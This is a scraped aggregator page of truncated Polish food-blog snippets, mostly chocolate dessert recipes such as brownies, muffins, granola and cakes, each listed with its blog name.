jajko 1/2 szklanki kawy (ciepłej i mocnej) (*) 2 łyżki przyprawy do piernika (płaskie) 1,5 łyżeczki sody oczyszczonej 1/4 łyżeczki proszku do pieczenia Dodatkowo: 1 banan (duży) Polewa: 100g czekolady mlecznej 50g masła lub 50 ml mleka/słodkiej śmietanki Ponadto: 2 garście orzechów włoskich Żółtko z cukrem należy utrzeć i powoli połączyć z miodem oraz kawą. Następnie wsypać mąkę uprzednio(...)rozgrzanego piekarnika. Piec przez około 40-45 minut (do tzw. "suchego patyczka") w temperaturze 180 stopni. Przygotować polewę czekoladową. W małym garnuszku umieścić masło/mleko/śmietankę oraz posiekaną czekoladę. Wszystko razem powoli roztopić i wymieszać do powstania gładkiej polewy czekoladowej. Lekko przestudzoną polewą polać ostudzone ciasto, a jego wierzch posypać orzechami.  (*) Możecie użyć kawy zbożowej, rozpuszczalnej lub mielonej

Di gotuje
Granola czekoladowa 110

chia 1 szklanka migdałów lub orzechów (albo pół na pół) 6 łyżek kakao 2 łyżki cukru 75 ml wody 85 ml oleju kokosowego 100 g miodu 100 g posiekanej czekolady lub kropelek czekoladowych Piekarnik rozgrzać do 180°C. W misce wymieszać płatki owsiane, wiórki kokosowe, siemię lniane i migdały. W drugim naczyniu kakao wymieszać z cukrem, zaparzyć gorącą wodą. Dodać(...)blachę wyłożoną papierem do pieczenia. Polać 2 łyżkami miodu. Piec 45 minut, mieszając co 15 minut. Po ostatnim wymieszaniu polać pozostałym miodem. Odstawić do wystudzenia. Zimną granolę wymieszać z czekoladą. Smacznego

Pełny talerz
Leżakujące ciasto z koniakiem i wiśniami 124

okresie przedświątecznym. Ciasto z koniakiem i wiśniami Składniki: 250g miękkiego masła, 250g cukru trzcinowego, 6 żółtek, 250g mąki orkiszowej jasnej, 200ml letniego mleka, 2 łyżeczki proszku do pieczenia, 250g czekolady, najlepiej dobrej gorzkiej, 100g zmielonych migdałów, 6 ubitych na pianę białek, 1 szklankę lub więcej suszonych miękkich wiśni, ¼ litra dobrego koniaku. Wykonanie: 1.       Utrzyj masło(...)mąkę z proszkiem, ·         mleko stopniowo, ·         utartą na tarce czekoladę, ·         migdały, ·         i na końcu wmieszaj wiśnie i ubitą pianę z białek. Użyłam   małej tortownicy o średnicy 16cm i foremki o rozmiarach 27x18

Leśny Zakątek
Brownie z mango sernikiem 179

zdjęciach. Smak interesujący, słodkie ciasto, szybciutkie w przygotowaniu. Można jeść tuż po wystudzeniu. Serdecznie polecam! Składniki: (na blaszkę o wymiarach 20x30 cm) Brownie: 150 g masła 200 g czekolady gorzkiej 3 duże jajka 200 g cukru duża szczypta soli 90 g mąki pszennej Mango sernik: 1/2 dojrzałego mango 100 g twarogu półtłustego z kostki 1 jajko 1 łyżka soku(...)Mango obrać ze skórki, wraz z pozostałymi składnikami zmiksować blenderem do gładkości, by grudki twarogu nie były widoczne. Brownie: Masło stopić w garnuszku, zdjąć z palnika. Wrzucić posiekaną gorzką czekoladę, po chwili wymieszać do uzyskania gładkiej błyszczącej polewy. Pozostawić do przestudzenia. Jajka ubić mikserem z cukrem i solą do jasności i puszystości. Strumyczkiem wlewać przestudzoną czekoladową polewę, miksować. Na koniec

Nastoletnie Wypiekanie
Muffinki czekoladowe 154

może sam trzymać, to upiekłam mu muffinki czekoladowe. Można je udekorować samym cukrem pudrem, ale ja zdecydowałam się na bitą śmietanę, bo syn bardzo lubi. SKŁADNIKI 100 g gorzkiej czekolady 100 g masła 150 ml mleka 1 opakowanie cukru waniliowego 150 g cukru trzcinowego 2 jajka szczypta soli 200 g mąki pszennej tortowej 1 łyżka kakao 1 łyżeczka proszku(...)pieczenia 1 łyżeczka sody do dekoracji: cukier puder lub bita śmietana WYKONANIE Piekarnik rozgrzać do temperatury 180 ° C. Formę do muffinek wyłożyć papilotkami. Masło stopić w garnuszku, dodać połamaną czekoladę i podgrzewając na małym ogniu również ją roztopić. Na koniec wlać mleko, wymieszać i zostawić do ostudzenia. Do miski wbić jajka, dodać cukier trzcinowy i waniliowy, szczyptę soli i roztrzepać

Passions hobbies life
Kruche ciasto z jabłkami i orzechowym kremem (Quadrotti di mele con crema di noci) 131

soku z cytryny 1 łyżka cynamonu Polewa czekoladowa 250 g masła 50 g cukru 35 ml wody 3 łyżki kakao Dekoracja orzechy włoskie gorzka czekolada **** INGREDIENTI Pasta frolla 300 g di farina 200 g di burro freddo 100 g di zucchero a velo 3 tuorli 1 cucchiaino di lievito per dolci Crema di noci(...)dodajemy masło oraz kakao. Całość mieszamy i zagotowujemy.  Przygotowana polewę odstawiamy do przestygnięcia. Schłodzone ciasto wyjmujemy z lodówki, polewamy polewą czekoladową. Dekorujemy posiekaną czekoladą i kawałkami orzechów włoskich.  **** PREPARAZIONE Pasta frolla In una ciotola setacciate la farina con il lievito vanigliato, unite lo zucchero a velo e il burro freddo tagliato

La grande e la piccola cuoca
FIT SNIKERS (bez pieczenia) 137

daktyli suszonych 200 g masła orzechowego 1 szklanka orzechów ziemnych niesolonych szczypta soli himalajskiej Masa orzechowa: 250 g serka mascarpone 2-3 łyżki masła orzechowego Polewa: 100 g gorzkiej czekolady min. 70% 2-3 łyżki dowolnego mleka garść orzechów ziemnych niesolonych 1 łyżka masła orzechowego Wykonanie: Spód: Do misy blendera wrzucamy orzeszki ziemne i mielimy na miałko. Następnie dodajemy kakao(...)dodajemy masło orzechowe oraz sól himalajską i dokładnie mieszamy. Do gotowej masy dodajemy orzeszki ziemne i wszystko mieszamy. Masa orzechowa: Serek mascarpone miksujemy razem z masłem orzechowym. Polewa: Czekoladę rozpuszczamy w kąpieli razem z dodatkiem mleka. Na spód wyciągnięty z lodówki wykładamy najpierw masę daktylową, następnie rozsmarowujemy masę orzechową, a na wierzch wylewamy polewę czekoladową, posypujemy orzeszkami i dekorujemy

Kuchnia MagdaLeny
Kokosowe batoniki z białą czekoladą i suszoną żurawiną 81

przypadku niespodziewanych gości. Koniecznie sami sprawdźcie dlaczego je tak uwielbiam! (Forma o wymiarach 15 x 30 cm, około 16 batoników) 200g wiórków kokosowych 85g cukru 2 jajka 150g białej czekolady 50-60g suszonej żurawiny (użyłam Helio Natura) W misce należy wymieszać wiórki kokosowe, cukier, roztrzepane jajka, żurawinę oraz posiekaną (ale nie na drobno!) białą czekoladę. Otrzymaną masę przełożyć

Di gotuje
Torcik marchewkowy z kremem czekoladowym 115

minut do suchego patyczka. Ciasto schładzamy przed nałożeniem kremu. Krem ·         250g serka mascarpone, ·         200g gorzkiej czekolady, ·         3 łyżki z górką cukru muscovado. Miksujemy serek na puszystą masę. Rozpuszczamy czekoladę z cukrem w kąpieli wodnej i po lekkim schłodzeniu dodajemy

Leśny Zakątek
Czekolada piernikowa bez cukru 105

Dzień dobry! 👋  Przedstawiam Wam gorącą czekoladę piernikową bez dodatku cukru (lub z jak go dodacie)!  Do tego pianki i już czuć ten klimat... Świąteczny oczywiście! Skusisz się? Składniki na 2 porcje:  500 ml mleka  2 łyżki kakao  9 kostek czekolady (ja użyłam gorzkiej z pomarańczą)  4 łyżki erytrolu/ksylitolu/miodu/cukru lub więcej  1 kopiasta łyżeczka

Czarnawisienka
Eklerki z kremem budyniowym 124

masła 2 łyżki mączki ziemniaczanej 2 łyżki mąki pszennej 3 łyżki cukru 1 łyżka cukru z wanilią 2 żółtka 1 łyżka ekstraktu z wanilii   ponadto: 100 g czekolady deserowej   Zagotować wodę z masłem i szczyptą soli,zdjąć z ognia,wsypać mąkę i energicznie mieszać aż ciasto utworzy zwartą kulę. Wystudzić i zmiksować z jajkami,dodając stopniowo po jednym(...)Odstawić do wystygnięcia.  Zmiksować masło, stopniowo dodawać budyń,pod koniec miksowania dodać ekstrakt z wanilii. Krem przełożyć do rękawa i napełnić upieczone korpusy. Złożyć eklerki i ozdobić płynną czekoladą

Kolorowa kuchnia Elki
Świąteczny mini murzynek 171

wypiek doskonały na szczególne okazje. Polecam! Składniki: 250 g mąki pszennej Polskie Młyny 150 g masła lub margaryny 100 g cukru 100  ml soku pomarańczowego 50 g czekolady gorzkiej 30 g kakao 20 g przyprawy do piernika 12 g proszku do pieczenia aromat arakowy 3 jajka Margarynę, cukier, kakao i sok pomarańczowy rozpuszczamy. Studzimy. Białka oddzielamy od żółtek(...)się składników. Białka ubijamy na sztywno. Dodajemy do masy.  Ciasto przelewamy do formy keksowej wysmarowanej masłem i obsypanej bułką tartą. Pieczemy około 45 minut w 180 stopniach. Studzimy. Czekoladę rozpuszczamy w kąpieli wodnej. Polewamy wystudzone ciasto. Smacznego

Ciasta z tradycjami
Koktajl Frankenstein na Halloween FIT 118

pudding – mumie z parówek – ciasto marchewkowe z nietoperzem . Składniki: – 2 garście szpinaku – 2 jabłka – 2 banany – woda lub jogurt *opcjonalnie: kakao lub posiekana czekolada Pierwsze 3 składniki dokładnie ze sobą miksujemy. Następnie dodajemy wodę i jogurt do momentu uzyskania preferowanej przez siebie konsystencji. Na szklankach rysujemy markerem minki widoczne na zdjęciach i wlewamy(...)nich koktajl. Wierzch koktajlu możemy obsypać kakao lub posiekaną czekoladą. Smacznego!   Artykuł Koktajl Frankenstein na Halloween FIT pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Kruche rogaliki z ciasta serowego 118

mąki pszennej 150g miękkiego masła 100g miękkiej margaryny 200g mielonego białego sera 2 łyżki cukru pudru 2 łyżeczki cukru waniliowego szczypta soli   Dodatkowo: 1 jajko do posmarowania rogalików czekolada, marmolada lub ser do nadziania     *** Z podanych składników zagniatamy ciasto *** *** Ciasto dzielimy na trzy części. Blat podsypujemy mąką i każdą część ciasta wałkujemy na kształt koła (niezbyt cienko(...)Koło dzielimy na osiem trójkątów. Na szerszej stronie każdego trójkąta układamy łyżeczkę nadzienia (ja rogaliki nadziałam powidłami śliwkowymi i czekoladą) *** *** Trójkąciki zwijamy i wyginamy w kształt rogala. Końce delikatnie zlepiamy aby nadzienie nie wypłynęło. Zwinięte rogaliki układamy na wyłożonej papierem blaszce *** ***Rogaliki smarujemy z wierzchu roztrzepanym jajkiem *** *** Następnie wkładamy do piekarnika nagrzanego do 180’C i pieczemy przez

Blog z Apetytem
WAFELEK PRINCESSA DOMOWEJ ROBOTY 234

razu zjadł połowę porcji. Składniki: 1/2 szkl. mleka 100 g masła 1,5 szkl. cukru 1,5 szkl. mleka w proszku 100 g wiórek koksowych 1 tabliczka białej czekolady 3 wafle tortowe Mleko płynne, masło i cukier podgrzewamy aż składniki rozpuszczą się. Przestudzić, dodać mleko w proszku i wymieszać tak aby nie powstały grudki. Na sam koniec dodać wiórki kokosowe(...)płaskiej powierzchni. Smarujemy masą koksową. Na masę wafel i ponownie masa koksowa. Przykrywamy masę waflem, zawinąć w aluminium i obciążyć garnkiem z wodą. Po 3 godzinach rozpuścić białą czekoladę. Polać wierzch wafle i posypać pozostałymi wiórkami. Pokroić na mniejsze części

Kuchnia w oparach
Sernik z masłem orzechowym i białą czekoladą 133

twarogu sernikowego (u mnie Wieluń Mój Ulubiony) 2 jajka 3/4 szkl. drobnego cukru 1/2 szkl. masła orzechowego 1/2 szkl. śmietany 30% 1/4 szkl. maślanki Ganache: 80 g białej czekolady 100 ml śmietanki 30 lub 36% 1 łyżka masła orzechowego Herbatniki mielimy na proszek. Masło roztapiamy, lekko studzimy. Mieszamy z pokruszonymi ciastkami. Powstałą mieszanką wylepiamy dno formy (20x20cm) wyłożonej papierem(...)większej blaszki wypełnionej wodą). Studzimy w uchylonym piekarniku. Po wystudzeniu wstawiamy do lodówki do całkowitego stężenia. Śmietankę podgrzewamy (nie doprowadzamy do wrzenia), zdejmujemy z palnika, dodajemy do niej posiekaną czekoladę. Mieszamy, aż do jej rozpuszczenia. Dodajemy masło orzechowe i jeszcze chwilę mieszamy, aż do uzyskania gładkiej konsystencji. Przygotowanym ganache polewamy wystudzony sernik. Ponownie wstawiamy do lodówki. Źródło

Smaki Na Talerzu
3 BIT wersja mniej słodka ze wskazówkami 828

masy kajmakowej, możecie dać więcej, ja nie chciałam przesłodzić 2 budynie śmietankowe* 500 ml mleka 1/4 szkl cukru, możecie dać więcej, wedle uznania 180 g masła 50 g gorzkiej czekolady 660 ml śmietany 30 % 2 łyżki cukru pudru (ja nie dodawałam) 2 łyżki żelatyny** 1/4 szkl zimnej wody *W wersji dla ambitnych budyń możemy zrobić sami w domu wystarczy(...)się wtedy podnoszą. Można łyżkę maczać we wrzątku, żeby sobie ułatwić. Wyrównać. Wyłożyć 2 warstwę herbatników, wyłożyć krem budyniowy. Wyrównać. Wyłożyć 3 warstwę herbatników, wyłożyć bitą śmietanę. Wyrównać. Zetrzeć czekoladę. Włożyć do lodówki, schłodzić przez noc. Masa budyniowo-maślana 6 godzin przed rozpoczęciem przygotowywania 3 BIT’A przygotować budyń, zgodnie z instrukcją na opakowaniu, jedynie zmniejszając mleko o połowę

moj przepis na
BROWNIE ZE ŚLIWAMI 145

hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} Składniki: 150g masła 200g   mlecznej czekolady ( dałam gorzką 70% ) 100g cukru ( dałam brązowy) 2 jajka 2 łyżki miodu 150g mąki pszennej ( dałam pełnoziarnistą) 4-5 pokrojonych śliwek pokrojonych w cienkie plasterki Wykonanie: masło roztapiamy w rondlu(...)najlepiej z grubym dnem, dodajemy połamaną czekoladę i cukier, wszystko mieszamy do momentu kiedy składniki się rozpuszczą   i połączą się ze sobą, odstawiamy do ostygnięcia do przestudzonej masy   dodajemy jajka i miód ,mieszamy na koniec wsypujemy mąkę i bardzo krótko miksujemy tylko do połączenia składników ciasto przelewamy do formy 20x20cm wyłożonej papierem do pieczenia, na którym układamy cienko

Słodkie zapomnienie
Maślane ciasteczka z czekoladą 171

maślane ciasteczka. Składniki: 200 g masła w temperaturze pokojowej 1 szkl cukru 1 jajko 2 i 1/2 szkl maki pszennej 1/2 łyżeczki sody 1/2 łyżeczki soli 150 g czekolady  Przygotowanie: Masło ucieramy na puch dodajemy cukier i mieszamy do połączenia. Dodać jajko i jeszcze chwile miksować. Mąkę wymieszać z solą i sodą, dodać do masy maślanej i zagnieść ciasto(...)Czekoladę posiekać na małe kawałki, dodać do ciasta i zagnieść.  Blachę wyłożyć papierem do pieczenia. Z ciasta formować kulki wielkości orzecha włoskiego i układać na blaszce w odstępach. Blachę wstawić do piekarnika nagrzanego do 190 stopni (góra dół) i piec 13-15 minut. Upieczone ciastka studzić na kratce

Motylkowa Kuchnia
Domowy budyń czekoladowy z owocami 166

tylko wiesz z czego korzystasz ale i również możesz poprosić swoje dzieci do pomocy. Przepis i niezbędne składniki do przygotowania domowego budyniu czekoladowego znajdziesz poniżej. Składniki: 5 kostek czarnej czekolady 2 łyżki syropu klonowego 2 łyżki skrobi ziemniaczanej 1,5 szklanki mleka 2% lub napoju sojowego Garść malin, porzeczek, borówek amerykańskich Przepis na budyń czekoladowy z owocami Wymieszaj mleko, syrop(...)klonowy i skrobię ziemniaczaną w małym garnku Wszystko to podgrzej na wolnym ogniu, co chwile mieszając by budyń się nie przypalił Dodaj gorzką czekoladę i poczekaj aż się rozpuści, mieszaj co jakiś czas Gotowy budyń ozdób owocami. Artykuł Domowy budyń czekoladowy z owocami pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
POPĘKANE CIASTECZKA CZEKOLADOWE 271

drobnego cukru 45 g ciemnego kakao 2 duże jajka 1 łyżeczka ekstraktu waniliowego 150 g mąki pszennej 1 łyżeczka proszku do pieczenia 1/4 łyżeczki soli 100 g deserowej/gorzkiej czekolady, posiekanej W misce, za pomocą rózgi kuchennej, mieszamy olej, kakao, cukier, jajka i ekstrakt waniliowy. Dodajemy przesianą mąkę z proszkiem do pieczenia i solą. Mieszamy całość do połączenia się składników. Dodajemy(...)posiekaną czekoladę i mieszamy. Ciasto wyjdzie gęste, dlatego najlepiej mieszać je szpatułką. Gotowe ciasto schładzamy w lodówce, min. 6 godz. (najlepiej całą noc). Z schłodzonego ciasta odrywamy małe kawałki i formujemy kulki o śr. 2,5 cm. Układamy je na blaszce i schładzamy w lodówce ok 2 godziny. Schłodzone kulki obtaczamy w cukrze pudrze (od razu po wyjęciu z lodówki

Słodki Pomysł
Tarta Twix 117

łyżek cukru 1 łyżka śmietana esencja waniliowa Masa toffi: 1 budyń waniliowy z cukrem 350 ml mleka 200 g cukru Polewa czekoladowa: 60 g masła 1 i 1/2 tabliczki czekolady mlecznej kilkanaście malusieńkich batoników Twix lub jeden duży pokrojony na mniejsze kawałki. Ciasto kruche 1. Z podanych składników zagniatamy kruche ciasto i chowamy do lodówki na pół godziny. 2. Następnie(...)cukier zamieni się już w karmel, dodajemy do niego budyń i całość dokładnie ze sobą mieszamy. Następnie wykładamy na wystudzony kruchy spód. Polewa czekoladowa 6. Nad kąpielą wodną roztapiamy czekoladę wraz z masłem i tak przygotowaną polewę wylewamy na masę toffi. Całość dekorujemy batonikami toffi i chowamy do lodówki do schłodzenia. Smacznego !!! Źródło inspiracji Tutaj

Gotowanie...to proste !
PROSTE KRUCHE CIASTECZKA Z MASŁEM ORZECHOWYM I PŁATKAMI OWSIANYMI 134

kostki masła w temp, pokojowej 3 łyżki masła orzechowego 1/2 szklanki cukru kokosowego  ( zwykłego, lub innego słodzidła) 1 duże jajo 1 łyżeczka ekstraktu z wanilii opcjonalnie pół kostki czekolady (posiekanej) WYKONANIE: łączę w misce suche składniki  mąkę, zblendowane płatki, kakao i sodę w drugiej misce miksuję masło z cukrem, dodaję jajko, następnie partiami dosypuję suchą mieszankę. ciasto formuję(...)kulki wielkości orzecha włoskiego, układam na blaszce i rozpłaszczam delikatnie palcami, posypuję czekoladą. piekę  10 - 12 minut,   170 stopni

Upiecz sobie babeczkę
Muffinki bananowe z czekoladą 57

Dziś w kuchni roznosi się zapach muffinek bananowych, nadziewanych czekoladą. Lodowa sobota mnie wykańcza, więc postanowiłam ogrzać się ciepłem piekarnika i muffinek :) Przygotowałam sobie wszystkie składniki potrzebne do przepisu i moją blaszkę. Owy przepis zapożyczyłam od autorki blogu muffinkarnia, który mnie tak oczarował, że co tylko najdzie mnie ochota na muffinki szukam tam inspiracji. Muffinki […] Artykuł Muffinki bananowe(...)czekoladą pochodzi z serwisu Pink Envelope

Pink Envelope
Czekoladowe ciasto meksykańskie 61

Leniwa niedziela przy piekarniku – w roli głównej ciasto meksykańskie! Przepis znalazłam przypadkiem na Kuchni Lidla, gdzie swoje ciasto trochę pozmieniałam. Zamiast mango dodałam banany i zwiększyłam porcję czekolady. Dla każdego komu w upał nie chce się długo siedzieć przy piekarniku i dla tych co lubią czekoladę ;) Składniki 1 1/2 szklanki mąki 1 szklanka […] Artykuł Czekoladowe ciasto meksykańskie pochodzi

Pink Envelope
Keks orzechowy z czekoladą 95

wykorzystaniem buraków oraz orzechów. Również zapachnie karpiem i przygotowaliśmy dla Was kilka propozycji na smaczne prezenty. A jak padło na orzechy, to przygotowałam prosty keks orzechowy z dodatkiem czekolady. Przepis również znajdziecie na stronach […] Artykuł Keks orzechowy z czekoladą pochodzi z serwisu Pink Envelope

Pink Envelope
Trufle z białej czekolady 82

Trufle już od dłuższego czasu były na mojej liście „do zrobienia”. Postawiłam na moje ulubione smaki, czyli połączenie kokosu z białą czekoladą. Wyszły rozpływające się w ustach! Ciężko było robić zdjęcia, kiedy nachylałam się nad truflami i uderzał mnie zapach kokosowy. Automatycznie ręka sięga po jednego:) Gdyby Was zaskoczyło skąd taki kolor – to wynik […] Artykuł Trufle(...)białej czekolady pochodzi z serwisu Pink Envelope

Pink Envelope
CZEKOLADOWA TARTA Z ORZESZKAMI 162

masła orzechowego (bez cukru) 250 ml śmietany 30% ( schładzanej minimum 12 godzin) 5 łyżek cukru pudru CZEKOLADOWY GANACHE 90-100 ml śmietany 30% 90-100 g gorzkiej czekolady DODATKOWO: 5 łyżek dżemu z czarnej porzeczki lub owoców leśnych WYKONANIE Formę na tartę (najlepiej z wyjmowanym dnem) o średnicy ok. 22 cm smarujemy masłem. Ciastka rozmiksowujemy z roztopionym masłem w malakserze(...)jednolity krem.  Na spodzie tarty rozsmarowujemy dżem, wykładamy krem orzechowy i wyrównujemy wierzch. Wstawiamy do lodówki. W rondelku zagotowujemy śmietankę, zdejmujemy z ognia, dodajemy połamaną na kostki czekoladę i odstawiamy na 2-3 minuty. Mieszamy rózgą do połączenia składników. Lekko studzimy i dekorujemy wierzch tarty. Wstawiamy na noc do lodówki

cool and minty
Ciasto Rocher 151

masy kajmakowej (460 g ) 500 g mascarpone 250 ml śmietany 30% 100 g orzechów laskowych 1 wafelek orzechowy (50 g) 1 łyżka cukru pudru 2 łyżki alkoholu (opcjonalnie) starta czekolada Orzechy podprażyć na suchej patelni, przełożyć na ściereczkę kuchenną i pocierać, aż zejdzie z nich skórka. Tak przygotowane orzechy drobno posiekać. Śmietanę lekko podbić, dodać mascarpone i ubić na sztywno(...)ułożyć warstwę herbatników, posmarować masą orzechową, wyrównać i ułożyć kolejną porcję herbatników. Na herbatniki wyłożyć masę kajmakową i przykryć herbatnikami. Na wierzchu równo ułożyć masę mascarpone i posypać startą czekoladą. Schłodzić najlepiej przez noc. Ciasto Rocher By Published: Total time: Calories per serving: Fat per serving: Ingredients: Thinly-sliced Price: Directions: ... Artykuł Ciasto Rocher pochodzi z serwisu Każdy ma jakiegoś

Pieguskowa Kuchnia
czekoladowe babeczki 112

zawsze mamy :)  Składniki: 2 szklanki mąki 2 łyżeczki proszku do pieczenia 1/2 szklanki cukru 2 łyżeczki cukru waniliowego 2 łyżki kakao 1 jajo 1 szklanka mleka kilka kawałków czekolady lub kinder bueno  Przygotowanie: w jednej misce połącz wszystkie suche składniki, a w drugiej mokre (Thermomix czas 1 min / obr 4-5) połącz je dokładnie ze sobą  blachę(...)babeczki wykładamy papilotkami nakładamy do połowy foremki ciastem - następnie układamy czekoladę i przykrywamy kolejną łyżką ciasta pieczemy przez około 25 min w piekarniku rozgrzanym do 180 st Smacznego

Gotowanie z pasją
Batoniki z masła orzechowego/Peanut butter bars 294

Batoniki: 100g masła 250g masła orzechowego (u mnie Woj-Len ) 250g cukru pudru (*) 150-160g herbatników (lub dowolnych kruchych ciastek) Polewa: 100g czekolady (użyłam gorzkiej) 1 łyżka masła orzechowego (płaska) Roztopione masło wymieszać z cukrem pudrem tak, aby cukier całkowicie się rozpuścił. Następnie dodać masło orzechowe oraz uprzednio pokruszone herbatniki. Całość dokładnie zmiksować do połączenia się składników. Gotową masę(...)umieścić w formie wysłanej papierem do pieczenia i lekko schłodzić w lodówce. Po tym czasie przygotować polewę. Czekoladę roztopić w kąpieli wodnej, a następnie połączyć z łyżką masła orzechowego. Polewę równomiernie rozprowadzić na wierzchu masy orzechowej i blaszkę ponownie wstawić do lodówki - na minimum 2-3 godziny. (Ja dodatkowo wierzch batoników z jeszcze płynną polewą posypałam chrupiącymi kuleczkami czekoladowymi.) Schłodzoną

Di gotuje
Kawa mrożona + filmik 151

mrożone): ok. 200 ml wystudzonej kawy z ekspresu ok. 300 ml schłodzonego mleka 200 ml śmietanki 30% 1 łyżeczka cukru 6 gałek  domowych lodów waniliowych 1 kostka gorzkiej czekolady Wykonanie: 1. Schłodzoną śmietankę wraz z łyżeczką cukru ubijamy na sztywno. Następnie przykrywamy talerzykiem i chowamy do lodówki. Na tym etapie możemy bitą śmietanę przełożyć do rękawa cukierniczego, który potem(...)mlekiem. 4. Bierzemy dwie ładne szklanki i do każdej nakładamy po 3 gałki lodów. 5. Zalewamy kawą z mlekiem. 6. Nakładamy bitą śmietanę. 7. Na wierzch ścieramy kostkę gorzkiej czekolady i gotowe. Smacznego :-) Poniżej zapraszam na filmik

Kawa z mlekiem
Czekoladowa chmurka z owocami 171

mocno czekoladowego spodu i delikatnej, puszystej bitej śmietany, przełamane świeżymi, sezonowymi owocami. Nic tylko rozkoszować się chwilą przy jedzeniu tego smakołyku. Przekonajcie się sami  :) Składniki:  300 g czekolady (ja dałam 2 mleczne i 1 gorzką)  150 g masła 6 jajek 100 g cukru Dodatkowo: 250 ml śmietanki 30 % ( zimnej) 250 g mascarpone (zimnego) ok. 3-4 łyżki(...)cukru pudru  świeże owoce n. truskawki, wiśnie, borówki, maliny, morele i listki mięty do dekoracji Przygotowanie: Piekarnik nagrzać do 175 C. Przygotować tortownicę o średnicy 24 cm. Czekoladę połamać na kosteczki  i rozpuścić razem z masłem w rondelku na najmniejszym ogniu. Odstawić z ognia. Do czystej miski wbić 2 jajka oraz dodać żółtka z pozostałych 4 jajek. Jajka

Słodka Strefa
MUFFINY Z PORZECZKĄ I BIAŁĄ CZEKOLADĄ 132

minor-bidi;} Składniki: 260g mąki pszennej 2 płaskie łyżeczki proszku do pieczenia 250g jogurtu greckiego ( lub innego gęstego) 50 ml oleju 2 średnie jajka 80g cukru trzcinowego 100g białej czekolady drobno posiekanej około 200g czerwonej lub białej porzeczki, umytej i obranej Wykonanie: składniki powinny być w temperaturze pokojowej w jednej misce   łączymy najpierw mąkę i proszek do pieczenia(...)drugiej misce łączymy ze sobą jogurt, olej, jajka oraz   cukier następie mokre składniki dodajemy do suchych i mieszamy do połączenia składników na koniec do masy dodajemy posiekaną białą czekoladę   foremki na muffiny wykładamy papilotkami, nakładamy do nich po łyżce ciasta, następnie dodajemy około 8-10 szt. porzeczek , które przykrywamy ciastem ,na wierzchu znowu układamy garść porzeczek ( finalnie ciasta

Słodkie zapomnienie
Czekoladowe muffinki z serem i sosem wiśniowyn 99

orkiszowa) 3 łyżki kakao 1 łyżeczka proszku do pieczenia (bez fosforanów) 3 jajka 1/2 szklanki roztopionego oleju kokosowego 1/4 szklanki mleka  3/4 szklanki ksylitolu 70 g roztopionej gorzkiej czekolady (bez cukru lub słodzonej ksylitolem) Nadzienie serowe: 250 g chudego sera twarogowego pół łyżeczki mielonej wanilii 3 łyżki ksylitolu 1 jajko 1 łyżka mąki ziemniaczanej Sos wiśniowy(...)oraz jajko, a następnie zmiksować na gładką i kremową masę. Dodać mąkę ziemniaczaną i ponownie zmiksować. Ciasto:  Jajka roztrzepać w misce, dodać olej kokosowy, mleko, roztopioną i przestudzoną czekoladę i ksylitol. Wszystko wymieszać do połączenia się składników. W osobnej misce wymieszać mąkę, kakao i proszek. Wsypać suche składniki do mokrych i bardzo dokładnie wymieszać. Ciasto będzie bardzo gęste. Przekładać

Healthy food explorer
Wegańskie bananowe brownie 204

proszku do pieczenia 3 średnie dojrzałe banany 1/2 szklaki mleka roślinnego (u mnie migdałowe) 1 łyżka ksylitolu (opcjonalnie) 2 garście orzechów laskowych garść orzechów włoskich Polewa: pół tabliczki gorzkiej czekolady, kilka łyżek mleka Wykonanie: Orzechy pokroić. W misce rozgnieść banany, mleko i opcjonalnie ksylitol lub inny słodzik. W osobnej misce wymieszać mąkę, kakao, proszek do pieczenia. Przesypać suche składniki(...)mokrych i dokładnie wymieszać. Na koniec wsypać orzechy i jeszcze raz wymieszać. Piec przez ok. 30 - 35 minut w 180ºC. Czekoladę rozpuścić w kąpieli wodnej z kilkoma łyżkami mleka roślinnego. Polać po cieście

Healthy food explorer
Ciasteczka z ciecierzycy i masła orzechowego 102

gładkiego masła orzechowego 2 łyżki mąki kokosowej szczypta soli 3 łyżki miodu lub syropu z agawy 1 łyżeczka ekstraktu waniliowego 1 łyżeczka proszku do pieczenia 50 g gorzkiej czekolady Wykonanie: Piekarnik nagrzać do 170ºC. Ciecierzycę odsączyć i dokładnie przepłukać. Następnie przesypać ją do blendera, dodać masło orzechowe, miód oraz ekstrakt waniliowy i zmiksować na gładką masę. Dodać mąkę kokosową, proszek(...)pieczenia i całość wymieszać za pomocą łyżki. Na koniec wsypać pokrojoną gorzką czekoladę i jeszcze raz wymieszać. Zwilżyć dłonie letnią wodą i odrywając kawałki ciasta, tworzyć kulki wielkości orzecha włoskiego, które następnie układać na blaszce wyłożonej papierem do pieczenia i delikatnie spłaszczać*. Piec przez 10-12 minut, aż ciasteczka się przyrumienią. *Ja swoje ciasteczka trochę za bardzo docisnęłam przez

Healthy food explorer
Zdrowy, podwójnie czekoladowy chlebek bananowy 174

szklanki kakao 1 łyżeczka proszku do pieczenia szczypta soli 3 dojrzałe banany 3 łyżki ksylitolu (opcjonalnie) 1/3 szklanki roztopionego oleju kokosowego 1/3 szklanki mleka 2 jajka kilka kostek gorzkiej czekolady (u mnie 81% kakao) Wykonanie: Piekarnik nagrzać do 180ºC. Czekoladę pokroić w drobną kostkę. Jajka roztrzepać w misce, banany rozgnieść widelcem i połączyć z jajkami. Wlać olej kokosowy oraz mleko

Healthy food explorer
Czekoladowy budyń jaglany 122

jest też dużo smaczniejszy :) Składniki: 1/2 szklanki kaszy jaganej 2 - 2 i 1/2 szklanek mleka 1/2 szklanki daktyli + gorąca woda do namoczenia 3 łyżki kakao 2 paski gorzkiej czekolady ulubiony słodzik (opcjonalnie) Wykonanie: Daktyle zalać gorącą wodą i ostawić na co najmniej 15 minut żeby zmiękły. Kaszę jaglaną uprażyć na suchej patelni, następnie przelać raz gorącą a raz zimną(...)wodą. Przełożyć do rondelka i zalać 2 szklankami mleka, gotować około 20 minut, pod koniec dodać czekoladę i wymieszać. Ostudzić przez chwilę, przełożyć do misy blendera, dodać odsączone daktyle i kakao. Miksować na gładką i kremową masę (stopniowo dolewać mleka jeśli masa będzie dalej zbyt gęsta). W trakcie miksowania można też sprawdzić smak i w razie potrzeby dosłodzić np. ksylitolem

Healthy food explorer
Fit ciasto z ciecierzycy 188

